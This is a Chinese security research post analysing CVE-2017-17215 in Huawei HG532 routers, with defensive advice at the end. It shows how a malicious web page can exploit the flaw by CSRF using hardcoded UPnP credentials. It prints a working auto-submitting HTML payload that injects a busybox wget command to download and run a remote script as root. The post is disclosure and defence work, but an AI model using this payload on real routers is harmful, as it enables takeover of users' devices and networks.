2017年11月27日Check Point 公司报告了一个华为 HG532 系列路由器的远程命令执行漏洞,漏洞编号为CVE-2017-17215。利用该漏洞,向路由器UPnP服务监听的37215端口发送一个特殊构造的 HTTP 请求包,即可触发命令执行。此端口在默认配置下并不能从外网访问,但由于该系列路由器数量极其巨大,所以互联网上仍有较多可访问到该端口的设备存在。目前已经有蠕虫在利用这些暴露在互联网上的端口进行传播[1]。

近期国内外已有不少对该漏洞原理的分析[2],在此不再赘述。但我们发现该漏洞实际的威胁可能比目前大家所认为的更为严重,某些对该漏洞的防御建议也是不够的甚至错误的。37215端口暴露在互联网上的HG532系列设备只占其中很少一部分,就已经足够多到被蠕虫利用,而如果其它那些只在内网能访问到的37215端口也可以被攻击者利用呢?

在2013年,国内爆发了一次家用路由器 DNS 劫持事件,利用的是WEB安全里的CSRF攻击技术。这种攻击技术能利用在现在HG532路由器的这个漏洞上吗?如果可以,那么只要诱使HG532路由器的用户用手机、电脑访问一个恶意页面,就可以导致路由器完全被攻击者控制。

我们从漏洞的PoC开始看起。在PoC里,漏洞成功利用需要构造一个XML格式的POST请求包,并且需要通过服务器端的HTTP基础认证,payload里并没有需要预测的部分。因此这个请求进行CSRF攻击测试只需要完成两点。一是成功通过服务器端的HTTP基础认证,二是构造XML攻击代码。

首先来看HTTP基础认证的部分。如果通不过HTTP基础认证,服务器会返回401错误,无法到达存在问题的逻辑。目前网络流传的PoC大部分为在HTTP的请求头里构造一个适用于基础认证的字段。

1
Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"

在现代浏览器中,要想在HTTP请求头中增加自定义的项只能通过XMLHTTPRequest的方式来发出请求,同时需要服务端返回允许添加头部内容的列表。而UPnP服务是不允许XMLHTTPRequest在请求头中添加这一项的。为了绕过这个限制,我们可以采用DNS Rebind的技术。但是我们真的需要这么复杂的攻击方式吗?

仔细观察HTTP基础认证的字段,我们可以发现,用于基础认证的用户名和密码为dslf-config:admin。因此我们只需要构造表单,使之POST到http:// dslf-config:admin @routerip:37215即可自动完成基础认证。

接下来就是如何用表单来构造一个XML的请求包了。为了不让浏览器对请求体编码,需要指定表单的enctype为text/plain,利用input标签的name和value两个属性的值可以构造出我们想要的内容。
最终构造的CSRF攻击payload样例如下。

1
2
3
4
5
<body onload='document.forms[0].submit()'>
<form method='POST' enctype='text/plain' action="http://dslf-config:admin@192.168.1.1:37215/ctrlt/DeviceUpgrade_1">
<input name='<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>a' value='1;$(/bin/busybox wget -g 192.168.1.2 -l /tmp/.f -r /b);</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>'>
</form>
</body>

攻击者只要诱使用户访问包含上述代码的页面,存在漏洞的路由器就会远程下载一个bash脚本并以root的身份执行。

所以,实际上几乎所有存在漏洞的华为 HG532 系列路由器都面临着被远程攻击的风险,而不只是37215端口暴露在互联网上的那些。一条包含恶意链接的短信就可以让你的路由器被攻击者控制。而一旦路由器被控制,就可能导致内网其它设备的沦陷。

同时,根据我们的实际测试,即使用户关闭了UPnP服务,存在漏洞的路由器在重启后仍然能遭受攻击。并且修改路由器管理口令并不会影响UPnP服务基础认证所用的口令。所以试图关闭UPnP服务和修改路由器管理口令来防范该漏洞都是不可行的。

此外,即使将 HG532 内置防火墙等级设置为高,也无法防御此种利用方式的攻击。

最有效的防御方式是安装新版固件。目前在HG532e产品页面[4]中可以看到的最新固件是2016年11月7日的版本[4]。虽然官方安全公告中并未说明该固件已不受CVE-2017-17215的影响,但据我们的分析和测试,至少目前所知的CVE-2017-17215漏洞攻击方式对此版本固件是无效的。

此外,如果把路由器LAN侧IP地址改成非默认地址,如下图中改为了192.168.2.1,也可对攻击造成一定程度的干扰。但攻击者仍有可能用很多其他方法获知到真正的路由器LAN侧IP地址。

最后感谢tk提出的攻击思路,感谢huimingliu、hyperchem在获取路由器shell过程中提供的巨大帮助。

演示视频:

参考资料
[1] 腾讯蜜罐系统捕获高危IoT蠕虫Okiru
http://slab.qq.com/news/tech/1705.html

[2] Huawei HG532 系列路由器远程命令执行漏洞分析
https://paper.seebug.org/490/

[3] 关于HG532产品存在远程代码执行安全漏洞的声明
http://www.huawei.com/cn/psirt/security-notices/huawei-sn-20171130-01-hg532-cn

[4] HG532e产品页面
http://m.huawei.com/cnxmobile/consumer-ncbdtest/home-internet/broadband-devices/detail/hg532e-cn.htm